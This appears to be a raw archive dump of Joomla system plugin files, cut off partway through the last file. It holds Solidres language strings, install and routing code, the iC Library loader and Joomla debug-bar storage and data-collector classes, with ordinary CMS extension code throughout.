; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8
; IT translation completed on September 18, 2013, Manca Cesare

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="System plugin di Solidres"PK!B4��QQ5solidres/language/cs-CZ/cs-CZ.plg_system_solidres.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="Systémový plugin pro Solidres"PK!B4��QQ9solidres/language/cs-CZ/cs-CZ.plg_system_solidres.sys.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="Systémový plugin pro Solidres"PK!ĝ�i[[5solidres/language/he-IL/he-IL.plg_system_solidres.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="מערכת - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="תוסף מערכת עבור Solidres"PK!ĝ�i[[9solidres/language/he-IL/he-IL.plg_system_solidres.sys.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="מערכת - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="תוסף מערכת עבור Solidres"PK!�Ǝ\LL9solidres/language/en-GB/en-GB.plg_system_solidres.sys.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="System plugin for Solidres"PK!�Ǝ\LL5solidres/language/en-GB/en-GB.plg_system_solidres.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="System plugin for Solidres"PK!��"MM9solidres/language/de-DE/de-DE.plg_system_solidres.sys.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="System Plugin für Solidres"PK!��"MM5solidres/language/de-DE/de-DE.plg_system_solidres.ininu&1i�; Joomla! Project
; Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_SOLIDRES="System - Solidres"
PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION="System Plugin für Solidres"PK!��*�� solidres/solidres.scriptfile.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

/**
 * Custom script to hook into installation process
 *
 */
class plgSystemSolidresInstallerScript
{

	function install($parent)
	{
		//echo '<p>'. JText::_('1.6 Custom install script') . '</p>';
	}

	function uninstall($parent)
	{
		//echo '<p>'. JText::_('1.6 Custom uninstall script') .'</p>';
	}

	function update($parent)
	{
		//echo '<p>'. JText::_('1.6 Custom update script') .'</p>';
	}

	function preflight($type, $parent)
	{
		//echo '<p>'. JText::sprintf('1.6 Preflight for %s', $type) .'</p>';
	}

	function postflight($type, $parent)
	{
		echo '<p>' . JText::_('Solidres - System plugin is installed successfully.') . '</p>';

		$dbo = JFactory::getDbo();

		$query = $dbo->getQuery(true);

		$query->clear();
		$query->update($dbo->quoteName('#__extensions'));
		$query->set('enabled = 1');
		$query->where("element = 'solidres'");
		$query->where("type = 'plugin'");
		$query->where("folder = 'system'");

		$dbo->setQuery($query);

		$result = $dbo->execute();
		if (!$result)
		{
			throw new RuntimeException('plgSystemSolidres: publishing failed', -1);
		}
		else
		{
			echo '<p>' . JText::_('Solidres - System plugin is published successfully.') . '</p>';
		}
	}
}
PK!�#�k1k1solidres/solidres.phpnu&1i�<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

jimport('solidres.plugin.plugin');
jimport('solidres.version');

class plgSystemSolidres extends JPlugin
{
	protected $autoloadLanguage = true;

	protected $app;

	public function __construct($subject, $config = array())
	{
		parent::__construct($subject, $config);

		if (file_exists(JPATH_LIBRARIES . '/solidres/defines.php'))
		{
			require_once JPATH_LIBRARIES . '/solidres/defines.php';
		}

		JLoader::import('libraries.solidres.factory', JPATH_ROOT);
		JLoader::import('libraries.solidres.html.html', JPATH_ROOT);
		JLoader::register('SRConfig', JPATH_LIBRARIES . '/solidres/config/config.php');
		JLoader::register('SRCurrency', SRPATH_LIBRARY . '/currency/currency.php');
		JLoader::register('SRUtilities', SRPATH_LIBRARY . '/utilities/utilities.php');
		JLoader::register('SRToolbarHelper', SRPATH_LIBRARY . '/toolbar/toolbar.php');
	}

	public function onAfterRoute()
	{
		if (SR_UIJ4)
		{
			$this->app->loadDocument();
		}

		$solidresConfig = JComponentHelper::getParams('com_solidres');
		$isAdmin        = $this->app->isClient('administrator');
		$isSite         = $this->app->isClient('site');
		JHtml::_('stylesheet', SRURI_MEDIA . '/assets/css/font-awesome.min.css');
		JHtml::_('jquery.framework');

		if (class_exists('SRHtml'))
		{
			SRHtml::_('js.noconflict');

			if ($isAdmin && $this->app->input->get('option') == 'com_solidres')
			{
				SRHtml::_('jquery.ui');
				SRHtml::_('js.admin');
			}

			if ($isSite)
			{
				SRHtml::_('jquery.ui');
				SRHtml::_('js.site');
			}

			SRHtml::_('js.common');
			SRHtml::_('jquery.cookie');
			SRHtml::_('jquery.validate');
		}

		JPluginHelper::importPlugin('user');
		JPluginHelper::importPlugin('solidres');
		$this->app->triggerEvent('onSolidresPluginRegister');

		$user         = JFactory::getUser();
		$isSuperAdmin = $user->authorise('core.admin');
		$lang         = JFactory::getLanguage();

		if ($this->app->input->get('option') == 'com_solidres' && ($isSite || $isAdmin))
		{
			$lang->load('com_solidres', JPATH_ADMINISTRATOR . '/components/com_solidres', null, 1);
		}

		if ($isAdmin
			&& $isSuperAdmin
			&& $this->app->input->get('option') == 'com_solidres'
		)
		{
			$dbo   = JFactory::getDbo();
			$query = $dbo->getQuery(true);

			if (!SRPlugin::isEnabled('hub'))
			{
				$query->select('count(*)')->from($dbo->quoteName('#__sr_reservation_assets'))->where($dbo->quoteName('default') . ' = 1');
				$count = $dbo->setQuery($query)->loadResult();

				if ($count >= 2)
				{
					$this->app->enqueueMessage(JText::_('SR_WARNING_MORE_THAN_1_DEFAUT_IS_NOT_ALLOWED'), 'warning');
				}
				else if ($count == 0)
				{
					$this->app->enqueueMessage(JText::_('SR_WARNING_REQUIRE_AT_LEAST_1_DEFAULT_ASSET'), 'warning');
				}
			}

			if (SRPlugin::isEnabled('hub'))
			{
				$query->select('count(*)')
					->from($dbo->quoteName('#__menu'))
					->where($dbo->quoteName('link') . ' = ' . $dbo->quote('index.php?option=com_solidres&view=dashboard') . ' AND ' . $dbo->quoteName('published') . ' = 1');
				$count = $dbo->setQuery($query)->loadResult();

				if ($count == 0)
				{
					$this->app->enqueueMessage(JText::_('SR_WARNING_HUB_MENU_TYPE_NOT_CREATED'), 'warning');
				}

				$partnerUserGroups = $solidresConfig->get('partner_user_groups', array());
				if (empty($partnerUserGroups))
				{
					$this->app->enqueueMessage(JText::_('SR_WARNING_HUB_PARTNER_GROUP_NOT_FOUND'), 'warning');
				}

				$googleMapStaticApiKey = $solidresConfig->get('google_map_static_api_key', '');
				if (empty($googleMapStaticApiKey))
				{
					$this->app->enqueueMessage(JText::_('SR_WARNING_GOOGLE_MAP_STATIC_API_KEY_IS_MISSING'), 'warning');
				}
			}

			$googleMapApiKey = $solidresConfig->get('google_map_api_key', '');
			if (empty($googleMapApiKey))
			{
				$this->app->enqueueMessage(JText::_('SR_WARNING_GOOGLE_MAP_API_KEY_IS_MISSING'), 'warning');
			}
		}

		if (SRPlugin::isEnabled('advancedextra'))
		{
			JLoader::register('SRExtra', JPATH_PLUGINS . '/solidres/advancedextra/libraries/extra/extra.php');
		}
		else
		{
			JLoader::register('SRExtra', JPATH_LIBRARIES . '/solidres/extra/extra.php');
		}

		$facebookAppID = $solidresConfig->get('facebook_app_id');

		if ($facebookAppID)
		{
			$locate         = str_replace('-', '_', $lang->getTag());
			$facebookScript = '
				$.ajaxSetup({cache: true});
				$.getScript("//connect.facebook.net/' . $locate . '/sdk.js", function(){
					FB.init({
						appId: "' . $facebookAppID . '",
						version: "v2.8"
					});						
				});';
		}
		else
		{
			$facebookScript = '';
		}

		JFactory::getDocument()->addScriptDeclaration('
			(function() {
				Solidres.options.load({
					"Hub":' . (SRPlugin::isEnabled('hub') ? 1 : 0) . ',
					"ChannelManager":' . (SRPlugin::isEnabled('channelmanager') ? 1 : 0) . ',
					"AutoScroll": ' . $solidresConfig->get('enable_auto_scroll', 1) . ',
					"AutoScrollTariff": ' . $solidresConfig->get('auto_scroll_tariff', 1) . ',
					"RootURI": "' . JUri::root() . '",
					"BaseURI": "' . JUri::base() . '",
					"JVersion": "' . (SR_UIJ4 ? '4' : '3') . '"
				});
			})();	
				
			Solidres.jQuery.validator.setDefaults({
			    errorPlacement: function (error, element) {
			        if (element.parents("[data-fieldset-group]").length) {
			            error.insertAfter(element.parents("[data-fieldset-group]"));
			        } else {
			            error.insertAfter(element);
			        }
			    }
			});	
				
			Solidres.jQuery(function($) {	
				' . $facebookScript . '
				// Turn radios into btn-group
				$("#solidres form fieldset.radio").addClass("btn-group").removeClass("t3onoff");
			    $("#solidres form .radio.btn-group label").addClass("btn btn-default");
			    $("#solidres form .btn-group label:not(.active)").click(function() {
			        var label = $(this);
			        var input = $("#" + label.attr("for"));
			
			        if (!input.prop("checked")) {
			            label.closest(".btn-group").find("label").removeClass("active btn-success btn-danger btn-primary");
			            if (input.val() == "") {
			                label.addClass("active btn-primary");
			            } else if (input.val() == 0) {
			                label.addClass("active btn-danger");
			            } else {
			                label.addClass("active btn-success");
			            }
			            input.prop("checked", true);
			            input.trigger("change");
			        }
			    });
			
			    $("#solidres .btn-group input[checked=checked]").each(function()
			    {
			        if ($(this).val() == "") {
			            $("label[for=" + $(this).attr("id") + "]").addClass("active btn-primary");
			        } else if ($(this).val() == 0) {
			            $("label[for=" + $(this).attr("id") + "]").addClass("active btn-danger");
			        } else {
			            $("label[for=" + $(this).attr("id") + "]").addClass("active btn-success");
			        }
			    });
			});
		');

		if ($isSite)
		{
			if ($solidresConfig->get('enable_carousel_compat', 0))
			{
				JFactory::getDocument()->addScriptDeclaration('
					if (typeof window.addEvent === "function") {
						window.addEvent("domready", function() {
							if (typeof jQuery != "undefined" && typeof MooTools != "undefined" ) {
								Element.implement({
									slide: function(how, mode) {
										return this;
									}
								});
							}
						});
					}
				');
			}

			if (SRPlugin::isEnabled('hub'))
			{
				$activeCurrencyId = $this->app->getUserState('current_currency_id', 0);

				if (0 == $activeCurrencyId)
				{
					$defaultCurrencyId = $solidresConfig->get('default_currency_id', 0);
					if ($defaultCurrencyId > 0)
					{
						$this->app->setUserState('current_currency_id', $defaultCurrencyId);
					}
				}
			}
		}
		$docType = JFactory::getDocument()->getType();
		$option  = strtolower($this->app->input->getCmd('option'));
		$view    = strtolower($this->app->input->getCmd('view'));
		$task    = strtolower($this->app->input->getCmd('task', 'display'));

		if ($isSite
			&& $docType == 'html'
			&& $option == 'com_solidres'
			&& ($task == 'reservationasset.checkavailability' || in_array($view, array('reservationasset', 'search')))
		)
		{
			SRHtml::sessionExpireWarning();
		}

		if (!defined('SR_LAYOUT_STYLE'))
		{
			define('SR_LAYOUT_STYLE', $solidresConfig->get('layout_style', ''));
		}
	}

	public function onAfterRender()
	{
		$solidresConfig = JComponentHelper::getParams('com_solidres');

		$solidresConfigData = new SRConfig(array('scope_id' => 0, 'data_namespace' => 'system'));
		$lastUpdateCheck    = $solidresConfigData->get('system/last_update_check', '');
		$needUpdateChecking = false;
		$updateSourceFile   = JPATH_ADMINISTRATOR . '/components/com_solidres/views/system/cache/updates.json';

		if ($this->app->isClient('administrator'))
		{
			if (empty($lastUpdateCheck) || !JFile::exists($updateSourceFile))
			{
				$needUpdateChecking = true;
			}
			else
			{
				$now     = JFactory::getDate('now', 'UTC');
				$nextRun = JFactory::getDate($lastUpdateCheck, 'UTC');
				$nextRun->add(new DateInterval('PT24H'));

				if ($now->toUnix() > $nextRun->toUnix())
				{
					$needUpdateChecking = true;
				}
			}

			if ($needUpdateChecking)
			{
				JLoader::register('SolidresControllerSystem', JPATH_ADMINISTRATOR . '/components/com_solidres/controllers/system.php');
				$solidresSystemCtrl = new SolidresControllerSystem();
				$url                = 'https://www.solidres.com/checkupdates';
				$solidresSystemCtrl->postFindUpdates($url);
				$solidresConfigData->set(array('last_update_check' => JFactory::getDate('now', 'UTC')->toUnix()));
			}
		}

		if ($solidresConfig->get('enable_multilingual_mode', 1) == 1)
		{
			/* Translate custom field by using language tag. Author: isApp.it Team */
			// TODO consolidate into SRUtilitises class
			if ($this->app->isClient('administrator')) return true;

			$buffer = $this->app->getBody();

			if (strpos($buffer, '{lang') === false) return true;

			$regexTextarea = "#<textarea(.*?)>(.*?)<\/textarea>#is";
			$regexInput    = "#<input(.*?)>#is";

			$matches = array();
			preg_match_all($regexTextarea, $buffer, $matches, PREG_SET_ORDER);
			$textarea = array();
			foreach ($matches as $key => $match)
			{
				if (strpos($match[0], '{lang') !== false)
				{
					$textarea[$key] = $match[0];
					$buffer         = str_replace($textarea[$key], '~^t' . $key . '~', $buffer);
				}
			}

			$matches = array();
			preg_match_all($regexInput, $buffer, $matches, PREG_SET_ORDER);
			$input = array();
			foreach ($matches as $key => $match)
			{
				if (
					(strpos($match[0], 'type="password"') !== false ||
						strpos($match[0], 'type="text"') !== false) &&
					strpos($match[0], '{lang') !== false
				)
				{
					$input[$key] = $match[0];
					$buffer      = str_replace($input[$key], '~^i' . $key . '~', $buffer);
				}
			}

			if (strpos($buffer, '{lang') !== false)
			{
				$buffer = plgSystemSolidres::filterText($buffer);

				if ($textarea)
				{
					foreach ($textarea as $key => $t)
					{
						$buffer = str_replace('~^t' . $key . '~', $t, $buffer);
					}
					unset($textarea);
				}
				if ($input)
				{
					foreach ($input as $key => $i)
					{
						$buffer = str_replace('~^i' . $key . '~', $i, $buffer);
					}
					unset($input);
				}
				$this->app->setBody($buffer);
			}

			unset($buffer);
		}
	}

	/* Translate custom field by using language tag. Author: isApp.it Team */
	// TODO consolidate into SRUtilitises class
	static function getLagnCode()
	{
		$lang_codes = JLanguageHelper::getLanguages('lang_code');
		$lang_code  = $lang_codes[JFactory::getLanguage()->getTag()]->sef;

		return $lang_code;
	}

	/* Translate custom field by using language tag. Author: isApp.it Team */
	// TODO consolidate into SRUtilitises class
	static function filterText($text)
	{
		if (strpos($text, '{lang') === false) return $text;
		$lang_code = plgSystemSolidres::getLagnCode();
		$regex     = "#{lang " . $lang_code . "}(.*?){\/lang}#is";
		$text      = preg_replace($regex, '$1', $text);
		$regex     = "#{lang [^}]+}.*?{\/lang}#is";
		$text      = preg_replace($regex, '', $text);

		return $text;
	}
}
PK!�ߧ��solidres/solidres.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="3.0" type="plugin" group="system" method="upgrade">
	<name>plg_system_solidres</name>
	<author>Solidres</author>
	<creationDate>Feb 2019</creationDate>
	<copyright>Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.</copyright>
	<license>GNU General Public License version 3, or later</license>
	<authorEmail>contact@solidres.com</authorEmail>
	<authorUrl>https://www.solidres.com</authorUrl>
	<version>2.9.3</version>
	<description>PLG_SYSTEM_SOLIDRES_XML_DESCRIPTION</description>

    <scriptfile>solidres.scriptfile.php</scriptfile>

	<files>
		<filename plugin="solidres">solidres.php</filename>
		<folder>language</folder>
	</files>
</extension>
PK!�V�ic_library/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK!���
�
ic_library/ic_library.phpnu&1i�<?php
/**
 *	Plugin System - iC Library
 *----------------------------------------------------------------------------
 * @package     iC Library
 * @copyright   Copyright (c)2014-2019 Cyril Rezé, Jooml!C - All rights reserved

 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé / Jooml!C
 * @link        https://www.joomlic.com
 *
 * @version     1.4 2017-06-06
 * @since		1.0
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *----------------------------------------------------------------------------
*/


// No direct access to this file
defined('_JEXEC') or die();

/**
 * iC Library plugin class.
 *
 * @package     Joomla.plugin
 * @subpackage  System.iClib
 */
class plgSystemiC_library extends JPlugin
{
	/**
	 * Method to register iC library.
	 *
	 * return  void
	 */
	public function onAfterInitialise()
	{
		if (is_dir(JPATH_LIBRARIES . '/ic_library'))
		{
			// Ensure that autoloaders are set
			JLoader::setup();

			// Set iC Library prefix
			JLoader::registerPrefix('iC', JPATH_LIBRARIES . '/ic_library');

			// Common fields
			JFormHelper::addFieldPath(JPATH_LIBRARIES . '/ic_library/form/field');
			JFormHelper::addRulePath(JPATH_LIBRARIES . '/ic_library/form/rule');

			// Test if translation is missing, set to en-GB by default
			$language = JFactory::getLanguage();
			$language->load('lib_ic_library', JPATH_SITE, 'en-GB', true);
			$language->load('lib_ic_library', JPATH_SITE, null, true);
		}
	}

	/**
	 * Method to load Custom CSS from Component Config.
	 * NOTE: To be moved to a separate system plugin - iCagenda
	 */
	public function onAfterDispatch()
	{
		// Check if component is installed
		if ( file_exists(JPATH_ADMINISTRATOR . '/components/com_icagenda/icagenda.php') )
		{
			// Custom CSS loading
			$customCSS_activation = JComponentHelper::getParams('com_icagenda')->get('customCSS_activation', '0');
			$customCSS = JComponentHelper::getParams('com_icagenda')->get('customCSS', '');

			if (!empty($customCSS_activation) && $customCSS)
			{
				JFactory::getDocument()->addStyleDeclaration( $customCSS );
			}
		}
	}
}
PK!H!4��ic_library/ic_library.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>plg_system_ic_library</name>
	<author>Cyril Rezé / Jooml!C</author>
	<creationDate>2017-06-06</creationDate>
	<copyright>Copyright (c) 2013-2019 Jooml!C / Cyril Rezé. All rights reserved.</copyright>
	<license>GNU General Public License version 3 or later; see LICENSE.txt</license>
	<authorEmail>info@joomlic.com</authorEmail>
	<authorUrl>www.joomlic.com</authorUrl>
	<version>1.4</version>
	<description>PLG_SYSTEM_IC_LIBRARY_XML_DESCRIPTION</description>

	<files>
		<filename plugin="ic_library">ic_library.php</filename>
		<filename>index.html</filename>
	</files>

	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_ic_library.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_ic_library.sys.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.plg_system_ic_library.ini</language>
		<language tag="fr-FR">language/fr-FR/fr-FR.plg_system_ic_library.sys.ini</language>
		<language tag="it-IT">language/it-IT/it-IT.plg_system_ic_library.ini</language>
		<language tag="it-IT">language/it-IT/it-IT.plg_system_ic_library.sys.ini</language>
	</languages>

	<config>
	</config>

</extension>
PK!%����
�
!debug/src/Storage/FileStorage.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\Storage;

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;

/**
 * Stores collected data into files
 *
 * @since  4.0.0
 */
class FileStorage extends \DebugBar\Storage\FileStorage
{
	/**
	 * Saves collected data
	 *
	 * @param   string  $id    The log id
	 * @param   string  $data  The log data
	 *
	 * @return  void
	 *
	 * @since  4.0.0
	 */
	public function save($id, $data)
	{
		if (!file_exists($this->dirname))
		{
			Folder::create($this->dirname);
		}

		$dataStr = '<?php die(); ?>#(^-^)#' . json_encode($data);

		File::write($this->makeFilename($id), $dataStr);
	}

	/**
	 * Returns collected data with the specified id
	 *
	 * @param   string  $id  The log id
	 *
	 * @return  array
	 *
	 * @since  4.0.0
	 */
	public function get($id)
	{
		$dataStr = file_get_contents($this->makeFilename($id));
		$dataStr = str_replace('<?php die(); ?>#(^-^)#', '', $dataStr);

		return json_decode($dataStr, true) ?: [];
	}

	/**
	 * Returns a metadata about collected data
	 *
	 * @param   array    $filters  Filtering options
	 * @param   integer  $max      The limit, items per page
	 * @param   integer  $offset   The offset
	 *
	 * @return  array
	 *
	 * @since 4.0.0
	 */
	public function find(array $filters = [], $max = 20, $offset = 0)
	{
		// Loop through all .php files and remember the modified time and id.
		$files = [];

		foreach (new \DirectoryIterator($this->dirname) as $file)
		{
			if ($file->getExtension() == 'php')
			{
				$files[] = [
					'time' => $file->getMTime(),
					'id' => $file->getBasename('.php'),
				];
			}
		}

		// Sort the files, newest first
		usort(
			$files,
			function ($a, $b) {
				if ($a['time'] === $b['time'])
				{
					return 0;
				}

				return $a['time'] < $b['time'] ? 1 : -1;
			}
		);

		// Load the metadata and filter the results.
		$results = [];
		$i = 0;

		foreach ($files as $file)
		{
			// When filter is empty, skip loading the offset
			if ($i++ < $offset && empty($filters))
			{
				$results[] = null;
				continue;
			}

			$data = $this->get($file['id']);
			$meta = $data['__meta'];
			unset($data);

			if ($this->filter($meta, $filters))
			{
				$results[] = $meta;
			}

			if (\count($results) >= ($max + $offset))
			{
				break;
			}
		}

		return \array_slice($results, $offset, $max);
	}

	/**
	 * Get a full path to the file
	 *
	 * @param   string  $id  The log id
	 *
	 * @return string
	 *
	 * @since 4.0.0
	 */
	public function makeFilename($id)
	{
		return $this->dirname . basename($id) . '.php';
	}
}
PK!_�Uuudebug/src/DataFormatter.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug;

use DebugBar\DataFormatter\DataFormatter as DebugBarDataFormatter;

/**
 * DataFormatter
 *
 * @since  4.0.0
 */
class DataFormatter extends DebugBarDataFormatter
{
	/**
	 * Strip the root path.
	 *
	 * @param   string  $path         The path.
	 * @param   string  $replacement  The replacement
	 *
	 * @return string
	 *
	 * @since 4.0.0
	 */
	public function formatPath($path, $replacement = ''): string
	{
		return str_replace(JPATH_ROOT, $replacement, $path);
	}

	/**
	 * Format a string from back trace.
	 *
	 * @param   array  $call  The array to format
	 *
	 * @return string
	 *
	 * @since 4.0.0
	 */
	public function formatCallerInfo(array $call): string
	{
		$string = '';

		if (isset($call['class']))
		{
			// If entry has Class/Method print it.
			$string .= htmlspecialchars($call['class'] . $call['type'] . $call['function']) . '()';
		}
		elseif (isset($call['args']) && \is_array($call['args'][0]))
		{
			$string .= htmlspecialchars($call['function']) . ' (';

			foreach ($call['args'][0] as $arg)
			{
				// Check if the arguments can be used as string
				if (\is_object($arg) && !method_exists($arg, '__toString'))
				{
					$arg = \get_class($arg);
				}

				// Keep only the size of array
				if (\is_array($arg))
				{
					$arg = 'Array(count=' . \count($arg) . ')';
				}

				$string .= htmlspecialchars($arg) . ', ';
			}

			$string = rtrim($string, ', ') . ')';
		}
		elseif (isset($call['args']))
		{
			$string .= htmlspecialchars($call['function']) . ' ' . $call['args'][0];
		}
		else
		{
			// It's a function.
			$string .= htmlspecialchars($call['function']) . '()';
		}

		return $string;
	}
}
PK!�1ch��,debug/src/DataCollector/SessionCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use Joomla\CMS\Factory;
use Joomla\Plugin\System\Debug\AbstractDataCollector;

/**
 * SessionDataCollector
 *
 * @since  4.0.0
 */
class SessionCollector  extends AbstractDataCollector
{
	/**
	 * Collector name.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $name = 'session';

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 *
	 * @return array Collected data
	 */
	public function collect()
	{
		$data = [];

		foreach (Factory::getApplication()->getSession()->all() as $key => $value)
		{
			$data[$key] = $this->getDataFormatter()->formatVar($value);
		}

		return ['data' => $data];
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 *
	 * @return string
	 */
	public function getName()
	{
		return $this->name;
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	public function getWidgets()
	{
		return [
			'session' => [
				'icon' => 'key',
				'widget' => 'PhpDebugBar.Widgets.VariableListWidget',
				'map' => $this->name . '.data',
				'default' => '[]',
			],
		];
	}
}
PK!ue���4debug/src/DataCollector/LanguageStringsCollector.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Plugin\System\Debug\DataCollector;

use DebugBar\DataCollector\AssetProvider;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Language;
use Joomla\CMS\Uri\Uri;
use Joomla\Plugin\System\Debug\AbstractDataCollector;

/**
 * LanguageStringsDataCollector
 *
 * @since  4.0.0
 */
class LanguageStringsCollector extends AbstractDataCollector implements AssetProvider
{
	/**
	 * Collector name.
	 *
	 * @var   string
	 * @since 4.0.0
	 */
	private $name = 'languageStrings';

	/**
	 * Called by the DebugBar when data needs to be collected
	 *
	 * @since  4.0.0
	 *
	 * @return array Collected data
	 */
	public function collect(): array
	{
		return [
			'data'  => $this->getData(),
			'count' => $this->getCount(),
		];
	}

	/**
	 * Returns the unique name of the collector
	 *
	 * @since  4.0.0
	 *
	 * @return string
	 */
	public function getName(): string
	{
		return $this->name;
	}

	/**
	 * Returns a hash where keys are control names and their values
	 * an array of options as defined in {@see \DebugBar\JavascriptRenderer::addControl()}
	 *
	 * @since  4.0.0
	 *
	 * @return array
	 */
	public function getWidgets(): array
	{
		return [
			'untranslated'       => [
				'icon'    => 'question-circle',
				'widget'  => 'PhpDebugBar.Widgets.languageStringsWidget',
				'map'     => $this->name . '.data',
				'default' => '',
			],
			'untranslated:badge' => [
				'map'     => $this->name . '.count',
				'default' => 'null',
			],
		];
	}

	/**
	 * Returns an array with the following keys:
	 *  - base_path
	 *  - base_url
	 *  - css: an array of filenames
	 *  - js: an array of filenames
	 *
	 * @since  4.0.0
	 * @return array
	 */
	public function getAssets(): array
	{
		return [
			'js'  => Uri::root(true) . '/media/plg_system_debug/widgets/languageStrings/widget.min.js',
			'css' => Uri::root(true) . '/media/plg_system_debug/widgets/languageStrings/widget.min.css',
		];
	}

	/**
	 * Collect data.
	 *
	 * @return array
	 *
	 * @since 4.0.0
	 */
	private function getData(): array
	{
		$orphans = Factory::getLanguage()->getOrphans();

		$data = [];

		foreach ($orphans as $orphan => $occurrences)
		{
			$data[$orphan] = [];

			foreach ($occurrences as $occurrence)
			{
				$item = [];

				$item['string'] = $occurrence['string'] ?? 'n/a';
				$item['trace']  = [];
				$item['caller'] = '';

				if (isset($occurrence['trace']))
				{
					$cnt            = 0;
					$trace          = [];
					$callerLocation = '';

					array_shift($occurrence['trace']);

					foreach ($occurrence['trace'] as $i => $stack)
					{
						$class = $stack['class'] ?? '';
						$file  = $stack['file'] ?? '';
						$line  = $stack['line'] ?? '';

						$caller   = $this->formatCallerInfo($stack);
						$location = $file && $line ? "$file:$line" : 'same';

